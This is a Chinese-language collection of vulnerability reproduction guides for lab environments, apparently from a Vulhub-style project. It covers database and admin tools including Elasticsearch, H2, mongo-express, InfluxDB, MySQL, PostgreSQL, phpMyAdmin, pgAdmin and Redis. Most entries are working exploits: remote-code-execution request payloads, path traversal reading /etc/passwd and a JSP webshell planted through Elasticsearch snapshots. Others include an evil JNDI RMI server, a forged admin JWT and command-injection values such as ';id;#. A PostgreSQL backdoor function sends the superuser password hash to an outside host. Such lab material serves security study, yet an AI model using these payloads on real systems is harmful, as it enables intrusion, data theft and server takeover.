{3}String diagCmd = script.getAbsolutePath() + " " + StringUtils.join(args, " "); CliCommandExecutor executor = KylinConfig.getInstanceFromEnv().getCliCommandExecutor(); Pair<Integer, String> cmdOutput = executor.execute(diagCmd);
与 Apache Kylin 命令注入漏洞CVE-2020-1956
类似,同样也是经过execute函数
,而digCmd
同样也是经过了命令拼接
{29-31}private Pair<Integer, String> runRemoteCommand(String command, Logger logAppender) throws IOException { SSHClient ssh = new SSHClient(remoteHost, port, remoteUser, remotePwd); SSHClientOutput sshOutput; try { sshOutput = ssh.execCommand(command, remoteTimeoutSeconds, logAppender); int exitCode = sshOutput.getExitCode(); String output = sshOutput.getText(); return Pair.newPair(exitCode, output); } catch (IOException e) { throw e; } catch (Exception e) { throw new IOException(e.getMessage(), e); } } private Pair<Integer, String> runNativeCommand(String command, Logger logAppender) throws IOException { String[] cmd = new String[3]; String osName = System.getProperty("os.name"); if (osName.startsWith("Windows")) { cmd[0] = "cmd.exe"; cmd[1] = "/C"; } else { cmd[0] = "/bin/bash"; cmd[1] = "-c"; } cmd[2] = command; ProcessBuilder builder = new ProcessBuilder(cmd); builder.redirectErrorStream(true); Process proc = builder.start(); BufferedReader reader = new BufferedReader( new InputStreamReader(proc.getInputStream(), StandardCharsets.UTF_8)); String line; StringBuilder result = new StringBuilder(); while ((line = reader.readLine()) != null && !Thread.currentThread().isInterrupted()) { result.append(line).append('\n'); if (logAppender != null) { logAppender.log(line); } } if (Thread.interrupted()) { logger.info("CliCommandExecutor is interruppted by other, kill the sub process: " + command); proc.destroy(); try { Thread.sleep(1000); } catch (InterruptedException e) { // do nothing } return Pair.newPair(1, "Killed"); } try { int exitCode = proc.waitFor(); return Pair.newPair(exitCode, result.toString()); } catch (InterruptedException e) { Thread.currentThread().interrupt(); throw new IOException(e); } } }
这样我们就可以通过控制 {project}
请求就可以造成命令注入
/kylin/api/diag/project/{project}/download
/kylin/api/diag/project/||ping `whoami.111.111.111`||/download
拼接后则出现
/home/admin/apache-kylin-3.0.1-bin-hbase1x/bin/diag.sh {project} {diagDir}
这里通过报错语句可以回显命令验证漏洞存在
throw new InternalErrorException("Failed to dump project diagnosis info. " + e.getMessage(), e);
在修复中,过滤了||
,&&
等符号,造成无法命令注入
漏洞通报中共两个利用点
/kylin/api/diag/project/{project}/download
/kylin/api/diag/job/{jobId}/download
查看函数发现利用方式相同,直接利用job
会失败,因为 {project}
默认有一个learn_kylin
,而job
没有
ClickHouse
ClickHouse API 数据库接口未授权访问漏洞
漏洞描述
ClickHouse API 数据库接口存在未授权访问漏洞,攻击者通过漏洞可以执行任意SQL命令获取数据库数据
漏洞影响
网络测绘
漏洞复现
登录页面
执行SQL语句
/?query=SELECT%20*%20FROM%20system.query_thread_log%20LIMIT%201%20FORMAT%20Vertical
elasticsearch
CVE-2014-3120
ElasticSearch 命令执行漏洞(CVE-2014-3120)测试环境
jre版本:openjdk:8-jre
elasticsearch版本:v1.1.1
原理
相关文档:http://bouk.co/blog/elasticsearch-rce/ 、 https://www.t00ls.net/viewthread.php?tid=29408
老版本ElasticSearch支持传入动态脚本(MVEL)来执行一些复杂的操作,而MVEL可执行Java代码,而且没有沙盒,所以我们可以直接执行任意代码。
MVEL执行命令的代码如下:
import java.io.*;
new java.util.Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next();
漏洞测试
编译及运行环境:
docker compose build
docker compose up -d
将Java代码放入json中:
{
"size": 1,
"query": {
"filtered": {
"query": {
"match_all": {
}
}
}
},
"script_fields": {
"command": {
"script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
}
}
}
首先,该漏洞需要es中至少存在一条数据,所以我们需要先创建一条数据:
POST /website/blog/ HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
{
"name": "phithon"
}
然后,执行任意代码:
POST /_search?pretty HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 343
{
"size": 1,
"query": {
"filtered": {
"query": {
"match_all": {
}
}
}
},
"script_fields": {
"command": {
"script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
}
}
}
结果如图:
CVE-2015-1427
ElasticSearch Groovy 沙盒绕过 && 代码执行漏洞(CVE-2015-1427)测试环境
jre版本:openjdk:8-jre
elasticsearch版本:v1.4.2
原理
参考文章:
- http://cb.drops.wiki/drops/papers-5107.html
- http://jordan-wright.com/blog/2015/03/08/elasticsearch-rce-vulnerability-cve-2015-1427/
- https://github.com/XiphosResearch/exploits
- http://cb.drops.wiki/drops/papers-5142.html
CVE-2014-3120后,ElasticSearch默认的动态脚本语言换成了Groovy,并增加了沙盒,但默认仍然支持直接执行动态语言。本漏洞:1.是一个沙盒绕过; 2.是一个Goovy代码执行漏洞。
Groovy语言“沙盒”
ElasticSearch支持使用“在沙盒中的”Groovy语言作为动态脚本,但显然官方的工作并没有做好。lupin和tang3分别提出了两种执行命令的方法:
- 既然对执行Java代码有沙盒,lupin的方法是想办法绕过沙盒,比如使用Java反射
- Groovy原本也是一门语言,于是tang3另辟蹊径,使用Groovy语言支持的方法,来直接执行命令,无需使用Java语言
所以,根据这两种执行漏洞的思路,我们可以获得两个不同的POC。
Java沙盒绕过法:
java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("id").getText()
Goovy直接执行命令法:
def command='id';def res=command.execute().text;res
漏洞测试
编译及运行测试环境
docker compose build
docker compose up -d
由于查询时至少要求es中有一条数据,所以发送如下数据包,增加一个数据:
POST /website/blog/ HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
{
"name": "test"
}
然后发送包含payload的数据包,执行任意命令:
POST /_search?pretty HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/text
Content-Length: 156
{"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getText()"}}}
CVE-2015-3337
ElasticSearch 目录穿越漏洞(CVE-2015-3337)测试环境
jre版本:openjdk:8-jre
elasticsearch版本:v1.4.4
影响版本:1.4.5以下/1.5.2以下
原理
在安装了具有“site”功能的插件以后,插件目录使用../
即可向上跳转,导致目录穿越漏洞,可读取任意文件。没有安装任意插件的elasticsearch不受影响。
测试环境
编译及运行测试环境
docker compose build
docker compose up -d
测试环境默认安装了一个插件:elasticsearch-head
,主页在此:https://github.com/mobz/elasticsearch-head
访问http://your-ip:9200/_plugin/head/../../../../../../../../../etc/passwd
读取任意文件(不要在浏览器访问):
head插件
head插件提供了elasticsearch的前端页面,访问 http://your-ip:9200/_plugin/head/
即可看到,不多说了。
CVE-2015-5531
ElasticSearch 目录穿越漏洞(CVE-2015-5531)
jre版本:openjdk:8-jre
elasticsearch版本:v1.6.0
影响版本:1.6.1以下
原理
参考文章
说明:
elasticsearch 1.5.1及以前,无需任何配置即可触发该漏洞。之后的新版,配置文件elasticsearch.yml中必须存在path.repo
,该配置值为一个目录,且该目录必须可写,等于限制了备份仓库的根位置。不配置该值,默认不启动这个功能。
漏洞复现
1. 新建一个仓库
PUT /_snapshot/test HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 108
{
"type": "fs",
"settings": {
"location": "/usr/share/elasticsearch/repo/test"
}
}
2. 创建一个快照
PUT /_snapshot/test2 HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 108
{
"type": "fs",
"settings": {
"location": "/usr/share/elasticsearch/repo/test/snapshot-backdata"
}
}
3. 目录穿越读取任意文件
访问 http://your-ip:9200/_snapshot/test/backdata%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
如上图,在错误信息中包含文件内容(编码后),对其进行解码即可获得文件:
WooYun-2015-110216
Elasticsearch写入webshell漏洞(WooYun-2015-110216)
参考文章: http://cb.drops.wiki/bugs/wooyun-2015-0110216.html
原理
ElasticSearch具有备份数据的功能,用户可以传入一个路径,让其将数据备份到该路径下,且文件名和后缀都可控。
所以,如果同文件系统下还跑着其他服务,如Tomcat、PHP等,我们可以利用ElasticSearch的备份功能写入一个webshell。
和CVE-2015-5531类似,该漏洞和备份仓库有关。在elasticsearch1.5.1以后,其将备份仓库的根路径限制在配置文件的配置项path.repo
中,而且如果管理员不配置该选项,则默认不能使用该功能。即使管理员配置了该选项,web路径如果不在该目录下,也无法写入webshell。所以该漏洞影响的ElasticSearch版本是1.5.x以前。
测试环境
编译与启动测试环境:
docker compose build
docker compose up -d
简单介绍一下本测试环境。本测试环境同时运行了Tomcat和ElasticSearch,Tomcat目录在/usr/local/tomcat
,web目录是/usr/local/tomcat/webapps
;ElasticSearch目录在/usr/share/elasticsearch
。
我们的目标就是利用ElasticSearch,在/usr/local/tomcat/webapps
目录下写入我们的webshell。
测试流程
首先创建一个恶意索引文档:
curl -XPOST http://127.0.0.1:9200/yz.jsp/yz.jsp/1 -d'
{"<%new java.io.RandomAccessFile(application.getRealPath(new String(new byte[]{47,116,101,115,116,46,106,115,112})),new String(new byte[]{114,119})).write(request.getParameter(new String(new byte[]{102})).getBytes());%>":"test"}
'
再创建一个恶意的存储库,其中location
的值即为我要写入的路径。
园长:这个Repositories的路径比较有意思,因为他可以写到可以访问到的任意地方,并且如果这个路径不存在的话会自动创建。那也就是说你可以通过文件访问协议创建任意的文件夹。这里我把这个路径指向到了tomcat的web部署目录,因为只要在这个文件夹创建目录Tomcat就会自动创建一个新的应用(文件名为wwwroot的话创建出来的应用名称就是wwwroot了)。
curl -XPUT 'http://127.0.0.1:9200/_snapshot/yz.jsp' -d '{
"type": "fs",
"settings": {
"location": "/usr/local/tomcat/webapps/wwwroot/",
"compress": false
}
}'
存储库验证并创建:
curl -XPUT "http://127.0.0.1:9200/_snapshot/yz.jsp/yz.jsp" -d '{
"indices": "yz.jsp",
"ignore_unavailable": "true",
"include_global_state": false
}'
完成!
访问http://127.0.0.1:8080/wwwroot/indices/yz.jsp/snapshot-yz.jsp
,这就是我们写入的webshell。
该shell的作用是向wwwroot下的test.jsp文件中写入任意字符串,如:http://127.0.0.1:8080/wwwroot/indices/yz.jsp/snapshot-yz.jsp?f=success
,我们再访问/wwwroot/test.jsp就能看到success了:
h2database
h2-console-unacc
H2 Database Console 未授权访问
H2 database是一款Java内存数据库,多用于单元测试。H2 database自带一个Web管理页面,在Spirng开发中,如果我们设置如下选项,即可允许外部用户访问Web管理页面,且没有鉴权:
spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true
利用这个管理页面,我们可以进行JNDI注入攻击,进而在目标环境下执行任意命令。
参考链接:
漏洞环境
执行如下命令启动一个Springboot + h2database环境:
docker compose up -d
启动后,访问http://your-ip:8080/h2-console/
即可查看到H2 database的管理页面。
漏洞复现
目标环境是Java 8u252,版本较高,因为上下文是Tomcat环境,我们可以参考《Exploiting JNDI Injections in Java》,使用org.apache.naming.factory.BeanFactory
加EL表达式注入的方式来执行任意命令。
import java.rmi.registry.*;
import com.sun.jndi.rmi.registry.*;
import javax.naming.*;
import org.apache.naming.ResourceRef;
public class EvilRMIServerNew {
public static void main(String[] args) throws Exception {
System.out.println("Creating evil RMI registry on port 1097");
Registry registry = LocateRegistry.createRegistry(1097);
//prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
//redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code
ref.add(new StringRefAddr("forceString", "x=eval"));
//expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','nslookup jndi.s.artsploit.com']).start()\")"));
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("Object", referenceWrapper);
}
}
我们可以借助这个小工具JNDI简化我们的复现过程。
首先设置JNDI工具中执行的命令为touch /tmp/success
:
然后启动JNDI-1.0-all.jar
,在h2 console页面填入JNDI类名和URL地址:
其中,javax.naming.InitialContext
是JNDI的工厂类,URL rmi://evil:23456/BypassByEL
是运行JNDI工具监听的RMI地址。
点击连接后,恶意RMI成功接收到请求:
touch /tmp/success
已成功执行:
mongo-express
CVE-2019-10758
mongo-express 远程代码执行漏洞(CVE-2019-10758)
mongo-express是一款mongodb的第三方Web界面,使用node和express开发。如果攻击者可以成功登录,或者目标服务器没有修改默认的账号密码(admin:pass
),则可以执行任意node.js代码。
漏洞环境
执行如下命令启动一个0.53.0版本的mongo-express:
docker compose up -d
环境启动后,访问http://your-ip:8081
即可查看到Web页面。
漏洞复现
直接发送如下数据包,即可执行代码this.constructor.constructor("return process")().mainModule.require("child_process").execSync("touch /tmp/success")
:
POST /checkValid HTTP/1.1
Host: your-ip
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Authorization: Basic YWRtaW46cGFzcw==
Content-Type: application/x-www-form-urlencoded
Content-Length: 124
document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("touch /tmp/success")
influxdb
InfluxDB JWT 认证绕过漏洞(CVE-2019-20933)
InfluxDB是一款著名的时序数据库,其使用jwt作为鉴权方式。
在其1.7.6版本以前,默认设置jwt的认证密钥shared-secret
为空字符串,导致攻击者可以伪造任意用户身份在InfluxDB中执行SQL语句。
参考链接:
- https://www.komodosec.com/post/when-all-else-fails-find-a-0-day
- https://github.com/influxdata/influxdb/issues/12927
- https://github.com/LorenzoTullini/InfluxDB-Exploit-CVE-2019-20933
- https://docs.influxdata.com/influxdb/v1.7/administration/config/#http-endpoints-settings
漏洞环境
执行如下命令启动InfluxDB 1.6.6:
docker compose up -d
环境启动后,访问http://your-ip:8086/debug/vars
即可查看一些服务信息,但此时执行SQL语句则会出现401错误:
漏洞复现
我们借助https://jwt.io/来生成jwt token:
{
"alg": "HS256",
"typ": "JWT"
}
{
"username": "admin",
"exp": 1676346267
}
其中,admin
是一个已经存在的用户,exp
是一个时间戳,代表着这个token的过期时间,你需要设置为一个未来的时间戳。
最终生成的token:
发送带有这个jwt token的数据包,可见SQL语句执行成功:
POST /query HTTP/1.1
Host: your-ip
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoyOTg2MzQ2MjY3fQ.LJDvEy5zvSEpA_C6pnK3JJFkUKGq9eEi8T2wdum3R_s
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
db=sample&q=show+users
mysql
CVE-2012-2122
Mysql 身份认证绕过漏洞(CVE-2012-2122)
当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。
受影响版本:
- MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
- MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.
参考链接:
- http://www.freebuf.com/vuls/3815.html
- https://blog.rapid7.com/2012/06/11/cve-2012-2122-a-tragically-comedic-security-flaw-in-mysql/
环境搭建
经过测试,本环境虽然运行在容器内部,但漏洞是否能够复现仍然与宿主机有一定关系。宿主机最好选择Ubuntu或Mac系统,但也不知道是否一定能够成功,欢迎在Issue中提交更多测试结果。
执行如下命令启动测试环境:
docker compose up -d
环境启动后,将启动一个Mysql服务(版本:5.5.23),监听3306端口,通过正常的Mysql客户端,可以直接登录的,正确root密码是123456。
漏洞验证
在不知道我们环境正确密码的情况下,在bash下运行如下命令,在一定数量尝试后便可成功登录:
for i in `seq 1 1000`; do mysql -uroot -pwrong -h your-ip -P3306 ; done
更多测试和利用方法,见参考链接。
neo4j
CVE-2021-34371
Neo4j Shell Server 反序列化漏洞(CVE-2021-34371)
Neo4j是一个开源图数据库管理系统。
在Neo4j 3.4.18及以前,如果开启了Neo4j Shell接口,攻击者将可以通过RMI协议以未授权的身份调用任意方法,其中setSessionVariable
方法存在反序列化漏洞。因为这个漏洞并非RMI反序列化,所以不受到Java版本的影响。
在Neo4j 3.5及之后的版本,Neo4j Shell被Cyber Shell替代。
参考链接:
漏洞环境
如果你使用Linux或OSX系统,可以执行如下命令启动一个Neo4j 3.4.18:
TARGET_IP=<your-ip> docker compose up -d
其中,环境变量TARGET_IP
需要制定靶场环境的IP地址。
如果你是Windows系统,请直接修改docker-compose.yml
,指定TARGET_IP
环境变量的值。
服务启动后,访问http://your-ip:7474
即可查看到Web管理页面,但我们需要攻击的是其1337端口,这个端口是Neo4j Shell端口,使用RMI协议通信。
漏洞复现
使用参考链接中的Java RMI客户端,集成基于Rhino的Gadget,发送RMI请求:
可见,touch /tmp/success5
已成功执行:
postgres
CVE-2018-1058
PostgreSQL 提权漏洞(CVE-2018-1058)
PostgreSQL 是一款关系型数据库。其9.3到10版本中存在一个逻辑错误,导致超级用户在不知情的情况下触发普通用户创建的恶意代码,导致执行一些不可预期的操作。
参考链接:
- https://wiki.postgresql.org/wiki/A_Guide_to_CVE-2018-1058:_Protect_Your_Search_Path
- https://xianzhi.aliyun.com/forum/topic/2109
漏洞环境
启动存在漏洞的环境:
docker compose up -d
环境启动后,将在本地开启PG默认的5432端口。
漏洞复现
参考上述链接中的第二种利用方式,我们先通过普通用户vulhub:vulhub
的身份登录postgres: psql --host your-ip --username vulhub
执行如下语句后退出:
CREATE FUNCTION public.array_to_string(anyarray,text) RETURNS TEXT AS $$
select dblink_connect((select 'hostaddr=10.0.0.1 port=5433 user=postgres password=chybeta sslmode=disable dbname='||(SELECT passwd FROM pg_shadow WHERE usename='postgres')));
SELECT pg_catalog.array_to_string($1,$2);
$$ LANGUAGE SQL VOLATILE;
然后我在10.0.0.1
上监听5433端口,等待超级用户触发我们留下的这个“后门”。
(假装自己是超级用户)在靶场机器下,用超级用户的身份执行pg_dump
命令:docker compose exec postgres pg_dump -U postgres -f evil.bak vulhub
,导出vulhub这个数据库的内容。
执行上述命令的同时,“后门”已被触发,10.0.0.1
机器上已收到敏感信息:
上述过程仅是该漏洞的一种利用方法,涉及到机器比较多可能有点乱,建议读者阅读参考链接中的文章,获取更多利用方法。
CVE-2019-9193
PostgreSQL 高权限命令执行漏洞(CVE-2019-9193)
PostgreSQL 是一款关系型数据库。其9.3到11版本中存在一处“特性”,管理员或具有“COPY TO/FROM PROGRAM”权限的用户,可以使用这个特性执行任意命令。
参考链接:
漏洞环境
启动存在漏洞的环境:
docker compose up -d
环境启动后,将开启Postgres默认的5432端口,默认账号密码为postgres/postgres。
漏洞复现
首先连接到postgres中,并执行参考链接中的POC:
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
FROM PROGRAM
语句将执行命令id并将结果保存在cmd_exec表中:
phpmyadmin
CVE-2016-5734
phpMyAdmin 4.0.x—4.6.2 远程代码执行漏洞(CVE-2016-5734)
phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。在其查找并替换字符串功能中,将用户输入的信息拼接进preg_replace
函数第一个参数中。
在PHP5.4.7以前,preg_replace
的第一个参数可以利用\0进行截断,并将正则模式修改为e。众所周知,e模式的正则支持执行代码,此时将可构造一个任意代码执行漏洞。
以下版本受到影响:
- 4.0.10.16之前4.0.x版本
- 4.4.15.7之前4.4.x版本
- 4.6.3之前4.6.x版本(实际上由于该版本要求PHP5.5+,所以无法复现本漏洞)
环境搭建
运行如下命令启动PHP 5.3 + Apache + phpMyAdmin 4.4.15.6:
docker compose up -d
启动后,访问http://your-ip:8080
,即可看到phpMyAdmin的登录页面。使用root
:root
登录。
漏洞复现
这个功能需要登录,且能够写入数据。
因为目标环境使用root,所以我们可以创建一个临时数据库和数据表,进行漏洞利用。这里,我们使用POC https://www.exploit-db.com/exploits/40185/ 来复现漏洞。
./cve-2016-5734.py -c 'system(id);' -u root -p root -d test http://your-ip:8080/
-d是已经可以写的数据库,-c是待执行的PHP语句,如果没有指定表名,这个POC会创建一个名为prgpwn
的表。
CVE2018-12613
phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)
phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。其index.php中存在一处文件包含逻辑,通过二次编码即可绕过检查,造成远程文件包含漏洞。
参考文档:
漏洞环境
执行如下命令,启动phpmyadmin 4.8.1:
docker compose up -d
环境启动后,访问http://your-ip:8080
,即可进入phpmyadmin。配置的是“config”模式,所以无需输入密码,直接登录test账户。
漏洞复现
访问http://your-ip:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
,可见/etc/passwd
被读取,说明文件包含漏洞存在:
利用方式也比较简单,可以执行一下SELECT '<?=phpinfo()?>';
,然后查看自己的sessionid(cookie中phpMyAdmin的值),然后包含session文件即可:
WooYun-2016-199433
phpmyadmin scripts/setup.php 反序列化漏洞(WooYun-2016-199433)
phpmyadmin 2.x版本中存在一处反序列化漏洞,通过该漏洞,攻击者可以读取任意文件或执行任意代码。
环境搭建
执行如下命令启动phpmyadmin:
docker compose up -d
环境启动后,访问http://your-ip:8080
,即可看到phpmyadmin的首页。因为没有连接数据库,所以此时会报错,但我们这个漏洞的利用与数据库无关,所以忽略。
漏洞复现
发送如下数据包,即可读取/etc/passwd
:
POST /scripts/setup.php HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 80
action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}
pgadmin
CVE-2022-4223
pgAdmin <= 6.16 无授权远程命令执行漏洞(CVE-2022-4223)
pgAdmin是一个著名的PostgreSQL数据库管理平台。
pgAdmin包含一个HTTP API可以用来让用户选择并验证额外的PostgreSQL套件,比如pg_dump和pg_restore。但在其6.16版本及以前,对于用户传入的路径没有做合适的验证,导致未授权的用户可以在目标服务器上执行任意命令。
参考链接:
- https://github.com/pgadmin-org/pgadmin4/commit/799b6d8f7c10e920c9e67c2c18d381d6320ca604
- https://github.com/pgadmin-org/pgadmin4/commit/461849c2763e680ed2296bb8a753ca7aef546595
- https://github.com/advisories/GHSA-3v6v-2x6p-32mc
漏洞环境
执行如下命令启动一个pgAdmin 6.16服务器:
docker compose up -d
服务器启动后,访问http://your-ip:5050
即可查看到pgAdmin默认的登录页面。
漏洞复现
在复现漏洞前,需要发送如下数据包获取CSRF token:
GET /login HTTP/1.1
Host: your-ip:5050
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8,en-US;q=0.7
Connection: close
在返回包中拿到一个新的session id和csrf token:
然后,将获取到的session id和csrf token填写进下面的数据包并发送:
POST /misc/validate_binary_path HTTP/1.1
Host: your-ip:5050
Content-Length: 27
X-pgA-CSRFToken: [csrf-token]
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Content-Type: application/json
Accept-Encoding: gzip, deflate, br
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8,en-US;q=0.7
Cookie: pga4_session=[session-id]
Connection: close
{"utility_path":"a\";id;#"}
可见,id
命令已经被成功执行:
CVE-2023-5002
pgAdmin <= 7.6 后台远程命令执行漏洞(CVE-2023-5002)
pgAdmin是一个著名的PostgreSQL数据库管理平台。
pgAdmin包含一个HTTP API可以用来让用户选择并验证额外的PostgreSQL套件,比如pg_dump和pg_restore。在CVE-2022-4223中,这个API可被用于执行任意命令,官方对此进行了修复,但在7.6版本及以前修复并不完全,导致后台用户仍然可以执行任意命令。
参考链接:
- https://github.com/pgadmin-org/pgadmin4/commit/35f05e49b3632a0a674b9b36535a7fe2d93dd0c2
- https://github.com/advisories/GHSA-ghp8-52vx-77j4
漏洞环境
执行如下命令启动一个pgAdmin 7.6服务器:
docker compose up -d
服务器启动后,访问http://your-ip:5050
即可查看到pgAdmin默认的登录页面。
一些值得注意的事情
CVE-2023-5002是一个针对CVE-2022-4223漏洞的补丁绕过漏洞。官方发布了下面两个修复补丁修复漏洞:
- 给
validate_binary_path
函数增加@login_required
装饰器,限制未授权的用户访问相关接口 - 使用
os.path.exists()
检查用户传入的路径是否有效
不幸地是,只有第二个修复补丁可以被绕过,所以该漏洞仅是一个后台命令执行漏洞。
漏洞复现
使用帐号vulhub@example.com
和密码vulhub
登录pgAdmin。
热爱后选择“Tools -> Storage Manager”打开文件管理器:
创建一个新的目录,名字是我们的Payload ";id;#
:
这个目录的完整路径是/var/lib/pgadmin/storage/vulhub_example.com/";id;#
,我们后续就需要使用这个路径来利用漏洞。
选择“File -> Preferences”打开设置页面,并来到“Paths -> Binary paths”面板。在任意一个“PostgreSQL Binary Path”文本框中填入/var/lib/pgadmin/storage/vulhub_example.com/";id;#
,并点击右侧的“验证”按钮:
可见,id
命令被成功执行:
redis
4-unacc
Redis 4.x/5.x 主从复制导致的命令执行
Redis是著名的开源Key-Value数据库,其具备在沙箱中执行Lua脚本的能力。
Redis未授权访问在4.x/5.0.5以前版本下,我们可以使用master/slave模式加载远程模块,通过动态链接库的方式执行任意命令。
参考链接:
影响版本
环境搭建
执行如下命令启动redis 4.0.14:
docker compose up -d
环境启动后,通过redis-cli -h your-ip
即可进行连接,可见存在未授权访问漏洞。
漏洞复现
使用这个POC即可直接执行命令:
CVE-2022-0543
Redis Lua 沙箱绕过 远程命令执行
漏洞描述
Redis是著名的开源Key-Value数据库,其具备在沙箱中执行Lua脚本的能力。
Debian以及Ubuntu发行版的源在打包Redis时,在Lua沙箱中遗留了一个对象package,攻击者可以利用这个对象提供的方法加载动态链接库liblua里的函数,进而逃逸沙箱执行任意命令。
漏洞影响
Redis
漏洞复现
远程连接Redis, 执行POC
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("whoami", "r"); local res = f:read("*a"); f:close(); return res' 0
CVE-2022-0543
Redis Lua沙盒绕过命令执行(CVE-2022-0543)
Redis是著名的开源Key-Value数据库,其具备在沙箱中执行Lua脚本的能力。
Debian以及Ubuntu发行版的源在打包Redis时,不慎在Lua沙箱中遗留了一个对象package
,攻击者可以利用这个对象提供的方法加载动态链接库liblua里的函数,进而逃逸沙箱执行任意命令。
参考链接:
- https://www.ubercomp.com/posts/2022-01-20_redis_on_debian_rce
- https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1005787
漏洞环境
执行如下命令启动一个使用Ubuntu源安装的Redis 5.0.7服务器:
docker compose up -d
服务启动后,我们可以使用redis-cli -h your-ip
连接这个redis服务器。
漏洞复现
我们借助Lua沙箱中遗留的变量package
的loadlib
函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0
里的导出函数luaopen_io
。在Lua中执行这个导出函数,即可获得io
库,再使用其执行命令:
local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io");
local io = io_l();
local f = io.popen("id", "r");
local res = f:read("*a");
f:close();
return res
值得注意的是,不同环境下的liblua库路径不同,你需要指定一个正确的路径。在我们Vulhub环境(Ubuntu fiocal)中,这个路径是/usr/lib/x86_64-linux-gnu/liblua5.1.so.0
。
连接redis,使用eval
命令执行上述脚本:
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
可见命令已成功执行: